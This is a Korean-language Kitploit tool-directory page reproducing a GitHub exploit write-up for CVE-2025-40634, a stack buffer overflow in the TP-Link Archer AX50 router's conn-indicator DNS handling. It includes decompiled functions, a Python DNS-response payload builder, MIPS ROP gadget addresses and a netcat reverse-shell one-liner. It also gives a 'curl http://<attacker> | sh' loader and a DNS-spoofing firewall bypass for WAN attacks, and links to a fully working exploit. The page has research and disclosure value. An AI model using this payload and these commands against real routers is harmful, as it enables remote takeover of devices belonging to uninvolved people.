Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-40634 — TP-Link Archer AX50 라우터의 conn-indicator 바이너리에서 발견된 스택 기반 버퍼 오버플로에 대한 익스플로잇 | Kitploit
도구/GitHubGitHub/hacefresko/cve-2025-40634
Embedded Systems SecurityIoT SecurityExploitationFuzzingPenetration TestingHardware SecurityRemote Access ToolBinary Exploitation
GitHubhacefresko/cve-2025-40634

CVE-2025-40634

TP-Link Archer AX50 라우터의 conn-indicator 바이너리에서 발견된 스택 기반 버퍼 오버플로에 대한 익스플로잇

저장소 보기
318310개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-40634

TP-Link Archer AX50 라우터는 펌웨어 버전 1.0.14 Build 20240108 rel.42655(4555)에서 스택 기반 버퍼 오버플로우 취약점에 영향을 받으며, LAN과 WAN 양쪽에서 원격 코드 실행으로 이어집니다. 이 취약점은 Flashback 팀이 발견하고 그들의 비디오 시리즈에서 자세히 다룬 CVE-2020-10881과 동일한 근본 원인을 가지고 있습니다(참조 자료 확인). 다만 익스플로잇 과정이 다소 달라서 새로운 익스플로잇을 작성해야 했습니다.

근본 원인

이 취약점은 라우터가 인터넷에 연결되어 있는지 확인하는 conn-indicator 바이너리에서 발생합니다. 이 바이너리는 주기적으로 DNS 쿼리를 보내고 32000에서 61000 사이의 임의의 UDP 포트에서 응답을 수신합니다.

이러한 DNS 응답 패킷을 수신하여 처음 처리하는 함수는 0x00405e3c에 위치한 TPDns_RecvAndResolve()입니다. recvfrom으로 패킷을 수신하면 2960바이트 크기의 buf에 저장합니다. 그런 다음 반환 코드가 올바른지(RCODE == 0) 확인하고 패킷의 질문 수와 답변 수(QDCOUNT 및 ANCOUNT)를 확인합니다. 답변을 처리하기 위해 process_resolved_IP()를 호출하면서 buf에 대한 포인터, buf의 패킷 내에서 답변이 위치한 곳을 가리키는 포인터인 answer_ptr, 답변 수(ANCOUNT) 및 기타 플래그를 전달합니다:

root@kitploit:~
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]
                    /* Check that ANCOUNT is not 0 (answer contains at least one domain) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]

0x00405818에 위치한 process_resolved_IP() 함수는 각 답변을 순회하며 각각에 대해 DNS_answer_parser()를 호출합니다. 인자로는 buf에 대한 동일한 포인터, 원본 패킷(buf) 내부에서 현재 파싱 중인 답변을 가리키는 포인터인 answer, 그리고 크기 256의 버퍼인 current_answer에 대한 포인터를 전달합니다:

root@kitploit:~
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* Check if all answers have been parsed already */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}

0x004054e0에 위치한 DNS_answer_parser() 함수는 각 답변을 개별적으로 파싱합니다. 각 답변은 <len><domain><len><domain>... 형태로 표현된 도메인 이름으로 구성됩니다. 예를 들어 example.com은 7example3com으로 표현됩니다. 이 함수는 답변의 도메인 이름을 구성하는 각 <len><domain> 쌍을 반복하면서 <len>이 63보다 작은지(domain_name & 0xc0 != 0) 확인합니다. 그런 다음 memcpy를 호출하여 <domain>에 해당하는 answer의 <len> 바이트를 current_answer로 복사합니다. 도메인 이름의 다음 <len><domain> 쌍에 대해 이 과정을 반복합니다.

root@kitploit:~
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* Check if compression mode is used */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}

current_answer는 256바이트에 불과하므로, 공격자는 버퍼를 오버플로우할 만큼 큰 도메인 이름이 포함된 답변을 담은 패킷을 보낼 수 있습니다.

익스플로잇

익스플로잇 과정은 Flashback 팀이 CVE-2020-10881에 대해 비디오 시리즈에서 설명한 것과 매우 유사합니다(참조 자료 확인). 몇 가지 주요 차이점이 있습니다:

  1. 주소가 동일하지 않습니다.
  2. 코드가 정확히 동일하지 않아서 오프셋과 일부 시점의 스택 크기도 달랐습니다.
  3. 첫 번째와 세 번째 ROP 가젯은 동일했지만(서로 다른 주소에 위치), 두 번째 가젯은 move 명령어에서 차이가 있습니다. 이제 memcpy()의 count 인자로 $a2에 이동되는 레지스터가 $s0 대신 $s1이기 때문입니다.
  4. process_resolved_IP()의 i 변수는 $s8 대신 $s5에 로드됩니다. 그런 다음 $v1과 비교할 때, $v1은 $sp+616에서 가져오는데 이는 오버플로우된 버퍼에서 매우 멀리 떨어져 있어서 답변과 명령어보다 더 멀리까지 스택을 변조해야 했습니다.
  5. 파일 시스템은 /tmp를 제외하고 읽기 전용이므로 모든 쓰기와 읽기는 /tmp에서 이루어져야 합니다. 이로 인해 리버스 셸을 62자 미만으로 만드는 것이 불가능해졌고, 따라서 대상에 배포하려면 웹 서버에서 제공하고 다운로드하여 실행하는 명령을 대상에 보내야 합니다.

이 점을 염두에 두고 어쨌든 전체 과정을 설명하겠습니다.

conn-indicator 바이너리는 NX가 활성화되어 있고 ASLR은 바이너리 자체를 제외한 모든 곳에 적용됩니다:

root@kitploit:~
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit

따라서 이 취약점을 익스플로잇하는 전략은 원하는 명령으로 system()을 실행할 수 있는 ROP 체인을 구축하는 것입니다.

버퍼를 오버플로우하고 $ra 레지스터를 변조하려면, 공격자는 충분히 큰 도메인 이름이 포함된 답변을 담은 DNS 응답을 보내야 합니다. DNS 헤더의 경우 유일한 요구 사항은 RCODE가 0이고 ANCOUNT가 1이라는 것입니다. 패킷에는 답변이 하나만 포함되면 되기 때문입니다. 예를 들어 다음 패킷은 $ra 레지스터를 0x50505050으로 변조합니다:

root@kitploit:~
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23

# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]

이제 바이너리의 주소는 실행할 때마다 항상 동일하고 쓰기 가능한 영역이 있으므로, 실행할 명령을 그곳에 복사한 다음 system()을 호출하는 것이 계획입니다. 이를 위해 다음 ROP 체인이 사용됩니다:

  1. 이 가젯은 memcpy()의 인자를 준비합니다. 다음 가젯의 주소가 $ra에 로드됩니다. 그런 다음 $s2가 $v0으로 이동됩니다. $s2에는 명령이 복사될 바이너리의 쓰기 가능한 영역 주소가 들어 있으며, 이것이 memcpy()의 dest 인자가 됩니다. 그 다음에는 우리가 제어하는 스택 주소에서 memcpy의 count 인자가 $s1에 로드됩니다. 마지막으로 다음 가젯으로 점프합니다:
root@kitploit:~
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
  1. 이 가젯은 memcpy()의 인자 준비를 계속한 다음 memcpy()를 호출합니다. $v0에 있던 바이너리의 쓰기 가능한 영역에 해당하는 memcpy()의 dest 인자는 memcpy()의 첫 번째 매개변수로 $a0에 로드됩니다. 실행의 이 시점에서 $a1은 DNS 응답 패킷에서 답변의 끝을 가리키는데, 이곳이 우리가 명령 문자열을 배치한 위치이므로 src 매개변수를 준비할 필요가 없습니다. 그런 다음 이전 가젯에서 로드된 count 매개변수가 들어 있는 $s1이 memcpy()의 세 번째 매개변수로 $a2에 이동됩니다. 마지막으로 memcpy()가 호출되고 명령 문자열이 바이너리의 쓰기 가능한 영역으로 복사됩니다. 이 가젯은 process_resolved_IP()의 끝에 위치하므로 이제 실행은 그 함수 내부에서 계속됩니다. 함수가 성공적으로 반환할 수 있도록 지금 스택을 정렬해야 합니다. 이를 위해 스택과 일부 레지스터에서 로드되는 이 함수의 일부 변수(, , , 등)를 페이로드에 신중하게 배치합니다. 반환 시 의 주소는 다시 스택에서 가져오는데, 여기에 다음 가젯의 주소를 배치하여 그곳으로 점프합니다.
root@kitploit:~
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
  1. 이 가젯은 system()의 인자를 준비하고 호출합니다. 실행의 이 시점에서 $v0에는 $s3의 값이 들어 있습니다. $s3에는 이제 명령이 포함된 바이너리의 쓰기 가능한 영역 주소를 배치해 두었습니다. 따라서 $v0이 $a0으로 이동됩니다. 그런 다음 바이너리에 임포트된 system()의 주소가 스택에서 $ra로 배치되고 system()이 호출되어 코드 실행이 이루어집니다.
root@kitploit:~
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra

이제 busybox를 실행하는 대상에서 실행할 리버스 셸은 다음과 같습니다:

root@kitploit:~
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f

하지만 실행할 명령은 62자보다 짧아야 하고 파일 시스템은 /tmp에서만 쓰기 가능하므로 리버스 셸을 직접 실행하는 것은 불가능했습니다. 대신 curl http://<attacker>:<port>/ | sh라는 로더가 실행되었으며, 이는 공격자로부터 리버스 셸을 가져옵니다.

이제 남은 것은 conn-indicator가 수신 대기 중인 포트를 브루트포스하는 것뿐이며, 이는 쉽게 자동화할 수 있습니다.

이 시점까지 이 익스플로잇은 WAN 쪽이 방화벽으로 차단되어 있기 때문에 LAN 쪽에서만 작동합니다. 그러나 이 제한을 우회하는 방법이 있습니다. conn-indicator가 DNS 응답을 수신할 수 있도록, 방화벽은 바이너리가 보낸 DNS 쿼리와 동일한 IP에서 오는 패킷, 즉 대상 라우터가 사용 중인 DNS에서 오는 패킷을 허용합니다. 따라서 방화벽을 우회하려면 DNS 서버에서 온 것처럼 위장한 스푸핑 패킷을 보내는 것만으로 충분합니다. 대상이 로컬 네트워크에 있다면 192.168.0.1, 192.168.1.1 또는 10.0.0.1과 같은 주소일 가능성이 높고, 대상이 인터넷에 직접 연결되어 있다면 8.8.8.8, 1.1.1.1 또는 기타 일반적인 DNS 서버일 가능성이 높습니다.

완전히 작동하는 익스플로잇은 LAN과 WAN 모두에서 작동합니다. LAN 모드는 32000부터 61000까지 모든 포트를 브루트포스하고, WAN 모드는 동일한 포트와 SPOOF_LIST에 저장된 모든 가능한 DNS IP를 브루트포스합니다. 이 목록은 공격자의 대상에 대한 지식을 바탕으로 편집해야 하지만, 충분한 시간(몇 분)이 주어지면 90%의 경우를 커버할 수 있습니다.

참고 자료

  • TP-Link Archer AX50 공식 페이지
  • Flashback Team - DNS 원격 코드 실행: 취약점 찾기 👾 (파트 1)
  • Flashback Team - DNS 원격 코드 실행: 익스플로잇 작성 💣 (파트 2)
도구 다운로드
ANCOUNT
param_4
param_5
i
$ra